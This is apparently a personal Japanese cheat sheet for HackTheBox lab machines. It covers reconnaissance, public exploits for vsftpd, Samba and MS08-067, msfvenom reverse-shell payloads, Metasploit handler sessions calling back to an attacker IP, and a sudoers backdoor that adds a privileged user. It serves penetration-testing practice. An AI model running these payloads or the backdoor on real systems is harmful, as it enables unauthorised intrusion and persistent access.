HackTheBoxチートシート
攻略したマシンをもとに、いろいろ書いていくつもり
※本記事は海外のハッキングトレーニングサイト「HackTheBox」の攻略のためのメモである
※本記事の内容を上記目的以外に利用することを推奨するものでは全くない
参考文献
Things I learned after rooting 25+ Hack the Box machines! | by Aditya Anand | InfoSec Write-ups
段階別対応
偵察(search)
とりあえずこれ使う
[URL貼る:参考例]
TARGET=<IP> echo "$TARGET <マシン名>.htb" >> /etc/hosts rustscan -b 1000 ${TARGET} > rustscan.txt gobuster dir -e -u ${TARGET} --wildcard -w /usr/share/wordlists/dirb/common.txt > gobuster.txt
使用ツール
nmap
空いてるポート・サービス確認
nmap -sC -sV -Pn XX.XX.XX.XX nmap -p 1-65535 XX.XX.XX.XX 絞ったのち nmap -pXX,YY,ZZ -A XX.XX.XX.XX SMB狙い撃ちとか nmap --script smb-vuln* -p 139,445 10.10.10.14 UDPの確認 [URL貼る:参考例] nmap -sU -v <host> /etc/hostsに入れるのもあり
rustscan
nmapを高速化したもの、ポート特定までやってnmapに引き渡し
まだ使い始め [URL貼る:参考例]
rustscan -b 1000 10.10.10.197
nikto
webサービスについて、ディレクトリ探査や脆弱性を確認できる
nikto
dirb
webサービスについて、ディレクトリ探査が可能、ネストも調べてくれる
dirb
gobuster
dirbと同様に、ディレクトリ総当たり
gobuster dir -e -u http://10.10.10.197:8080/ --wildcard -w /usr/share/wordlists/dirb/common.txt
wpscan
ワードプレスの内容把握に利用可能
wpscan --url <url> --enumerate p,u
ワードプレスはそのもののバージョンから脆弱性を探したり、wp-content/plugin配下の脆弱なプラグインを探したりする
[URL貼る:参考例]
足がかり(Initial footprint)
実績ありポート
21/TCP:FTP
接続して、適当なユーザで試す+anonymousユーザ接続もあり [URL貼る:参考例]
接続成功後はリバースシェル等モジュールを送り込める
msfvenomを用いたペイロード作成+Metasploitによるリバースシェル接続
21/tcp:ftp vsftpd 2.3.4
→vsftpd 2.3.4 - Backdoor Command Executionの脆弱性あり [URL貼る:参考例]
445/TCP:microsoft-ds
MS08-057の脆弱性あり [URL貼る:参考例]
139/tcp:netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp:netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution の脆弱性あり [URL貼る:参考例]
SMB匿名接続
kali@kali:~$ rpcclient -U "" lame.htb Enter WORKGROUP\'s password: Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT
着目すべきポート
80/TCP:HTTP, 443/TCP:HTTPS
->各ページにある脆弱性を使える
135/TCP:MSRPC, 139/TCP:NetBios-SSN, 445/TCP:Microsoft-DS
->Eternal Blueなどが使える [URL貼る:参考例]
21/TCP:FTP
->anonymousユーザなどでファイルの中身を見たり、アップロードしたりできる
その他ポート
22/tcp:ssh OpenSSH 5.3p1 Debian 3ubuntu7 (Ubuntu Linux; protocol 2.0
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
23/tcp :telnet Linux telnetd
25/tcp :smtp Postfix smtpd
53/tcp :domain ISC BIND 9.7.0-P1
80/tcp :http Apache httpd 2.2.14 *1
80/tcp :http Apache httpd 2.0.52 *2
110/tcp:pop3 Dovecot pop3d
111/tcp:rpcbind 2 (RPC #100000)
139/tcp:netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp:imap Dovecot imapd
389/tcp:ldap OpenLDAP 2.2.X - 2.3.X
443/tcp:ssl/https?
445/tcp:netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp:exec netkit-rsh rexecd
513/tcp:login?
514/tcp:tcpwrapped
631/tcp:ipp CUPS 1.1
784/tcp:status 1 (RPC #100024)
901/tcp:http Samba SWAT administration server
993/tcp:ssl/imaps?
995/tcp:ssl/pop3s?
2000/tcp:sieve Dovecot timsieved
2049/tcp:nfs 2-4 (RPC #100003)
3306/tcp:mysql MySQL 5.1.73-0ubuntu0.10.04.1
3306/tcp:mysql MySQL (unauthorized)
3632/tcp:tcpwrapped
3632/tcp:distccd distccd v1 *3
6667/tcp:irc IRCnet ircd
8070/tcp:ucs-isc?
8080/tcp:http Apache Tomcat/Coyote JSP engine 1.1
10000/tcp:http MiniServ 0.01 (Webmin httpd)
一般権限奪取(user level privilege)
フォルダ/ファイルあさり
権限昇格を狙って探索を行うと、以下のファイルにOSの情報が記載されている [URL貼る:参考例]
% cat /etc/*release
% cat /etc/redhat-release
bash-3.00$ cat redhat-release
CentOS release 4.5 (Final)
% cat /etc/os-release
% uname -r
2.6.31-14-generic-pae
% mgetuid (Win)
Server username: NT AUTHORITY\SYSTEM
Webシェル/リバースシェル
リバースシェル置き場
Reverse Shell Cheat Sheet | pentestmonkey
pythonを用いたシェルアップグレード
[URL貼る:参考例]
python -c 'import pty; pty.spawn("/bin/sh")' python -c 'import pty; pty.spawn("/bin/bash")' Perl
meterpreterによるexploit確認
セッションを残した状態で、実行 [URL貼る:参考例]
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester msf5 post(multi/recon/local_exploit_suggester) > show options Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on SHOWDESCRIPTION false yes Displays a detailed description for the available exploits msf5 post(multi/recon/local_exploit_suggester) > set session 1 session => 1 msf5 post(multi/recon/local_exploit_suggester) > run [*] 10.10.10.5 - Collecting local exploits for x86/windows... [*] 10.10.10.5 - 30 exploit checks are being tried... [+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. [+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed msf5 post(multi/recon/local_exploit_suggester) >
特権昇格(privilege escalation)
利用できるツール
Windows-Exploit-Suggester (Win)
GitHub - AonCyberLabs/Windows-Exploit-Suggester: This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins.
GTOFbins
GTFOBins
LinEnum
GitHub - rebootuser/LinEnum: Scripted Local Linux Enumeration & Privilege Escalation Checks
Linpeas
GitHub - carlospolop/PEASS-ng: PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
kernel exploit
※時間つくって下記内容を記載すること!!!
1.Sudoを確認する
Sudo -l
2.SUID Bitを確認する
3.Kernel Exploitを利用する
4.Path Variable
これはちょっと読み込んでないのでわからない、追加で確認が必要
5.Enumeration
6.MySQLを確認する
7.Crontabを利用する
8.Wildcard Injectionを利用する
9.Capabilitiesを確認する
10.etc/passwdファイルを確認する
11.root権限で書き込めるファイルやスクリプトがないか確認する
12.バッファーオーバーフロー
13.Docker
ツールについて
msfvenom
各種ペイロード等作成できる
リバースシェル用のペイロード作成例
kali@kali:~/SyachinekoLab/workspace/HTB/Devel$ msfvenom -p windows/meterpreter/reverse_tcp -f aspx -o devel.aspx LHOST=10.10.14.9 LPORT=1234 [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of aspx file: 2834 bytes Saved as: devel.aspx Meterpreterを用いないでペイロード作成 msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port> EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode
metasploit
exploitツール
metapreterによるリバースシェル接続の例
msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > set LHOST 10.10.14.9 LHOST => 10.10.14.9 msf5 exploit(multi/handler) > set LPORT 1234 LPORT => 1234 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.14.9:1234 [*] Sending stage (180291 bytes) to 10.10.10.5 [*] Meterpreter session 2 opened (10.10.14.9:1234 -> 10.10.10.5:49163) at 2020-06-26 09:56:55 -0400 meterpreter >
セッションをbackgroundコマンドで保持し、確認できる
meterpreter > background [*] Backgrounding session 3... msf5 exploit(multi/handler) > show sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 3 meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.9:1234 -> 10.10.10.5:49157 (10.10.10.5)
meterpreter
専用シェル
コマンド色々
meterpreter > search -f user.txt # user.txtを走査(完全一致) meterpreter > shell #有用なshellで起動 meterpreter > background # metasploitに戻る(set session 1など指定できる)
exploit済
windows/local/ms10_015_kitrap0d
windows/smb/ms08_067_netapi
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | exploits/unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | exploits/linux/remote/7701.txt
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | exploits/unix/remote/17491.rb
その他
Password crack
fcrackzip -u -p <passwdFile> <File> fcrackzip -u -D -p <Dir/passwdFile> <File>
sudoers書き換え
useradd test passwd test echo "test ALL=(ALL) ALL " >> /etc/sudoers # これでsshができればバックドアとなる
[URL貼る:参考例]
参考にすべきサイト
https://attack.mitre.org/:攻撃手法の理解
[URL貼る:参考例]
https://www.netspi.com/blog/technical/web-application-penetration-testing/directory-traversal-file-inclusion-proc-file-system/:LFIでの確認ポイント
[URL貼る:参考例]
未攻略マシンメモ
Remote
Magic
Admirer
Blunder
SneakyMailer
Traceback